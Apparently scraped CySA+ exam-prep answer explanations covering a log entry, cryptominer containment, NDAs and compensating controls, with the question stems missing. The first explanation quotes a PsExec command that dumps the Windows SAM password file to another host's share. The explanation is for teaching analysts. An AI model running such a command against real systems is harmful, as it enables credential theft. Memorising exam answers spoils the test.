Pearson CS0-002 New Attempt

The output shows an entry from a system log that indicates a user was trying to download a password file from a remote system using PsExec. PsExec is a command-line tool that allows users to execute processes on remote systems. The entry shows that the user “administrator” tried to run PsExec with the following parameters: \192.168.1.100 -u administrator -p P@ssw0rd -c cmd.exe /c type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt This means that the user tried to connect to the remote system with IP address 192.168.1.100 using the username “administrator” and password “P@ssw0rd”, copy cmd.exe to the remote system, and execute it with the command “type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt”. This command attempts to read the SAM file, which contains hashed passwords of local users, and write it to a file on another system with IP address 192.168.1.101. References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 8;

 The first step the analyst should take to prevent further spread of the mining operation is to quarantine all the impacted hosts for forensic analysis. Quarantining the hosts can help isolate them from the network, and prevent them from communicating with other devices or servers that may be part of the mining operation. Forensic analysis can help identify the source and scope of the infection, and provide clues for remediation and recovery.

A non-disclosure agreement (NDA) is a legally binding contract that establishes a confidential relationship between two or more parties and prevents them from sharing or using certain information that is deemed sensitive, proprietary, or valuable1. An NDA can be used to protect intellectual property (IP) such as trade secrets, inventions, designs, or business plans from being disclosed to competitors or the public2.

A company that wants to ensure a third party does not take its IP and build a competing product can use an NDA to restrict the access, use, and disclosure of its IP by the third party. For example, if the company hires a contractor to develop a software application, the company can require the contractor to sign an NDA that prohibits the contractor from copying, modifying, selling, or revealing the source code or any other details of the application to anyone else3. The NDA can also specify the duration, scope, and consequences of the confidentiality obligation.

The correct answer is B. Document exceptions with compensating controls to demonstrate the risk mitigation efforts. Compensating controls are alternative or additional controls that are implemented when the primary or required controls are not feasible or effective. Compensating controls can help to reduce the risk to an acceptable level and satisfy the regulatory requirements, as long as they are documented and justified1.

A. Manually review the baselines daily and document the results in a change history log is not correct. This option would not prevent the recurrence of the problem, as it does not address the root cause of why the remote units did not recover after scans were performed. Moreover, this option would create an unsustainable process, as it would require a lot of time and resources to manually review and document the baselines of all assets on a daily basis.

C. Implement a new scanning technology to satisfy the monitoring requirement and train the team is not correct. This option would not guarantee that the problem would not recur, as it is possible that the new scanning technology would also cause issues with the remote units or other assets. Furthermore, this option would incur additional costs and efforts to acquire, deploy, and maintain the new scanning technology and train the team on how to use it.

D. Purchase new remote units from other vendors with a proven ability to support scanning requirements is not correct. This option would not be feasible or cost-effective, as it would require replacing all the remote units with new ones from different vendors. This option would also introduce new risks and challenges, such as compatibility, interoperability, or vendor lock-in.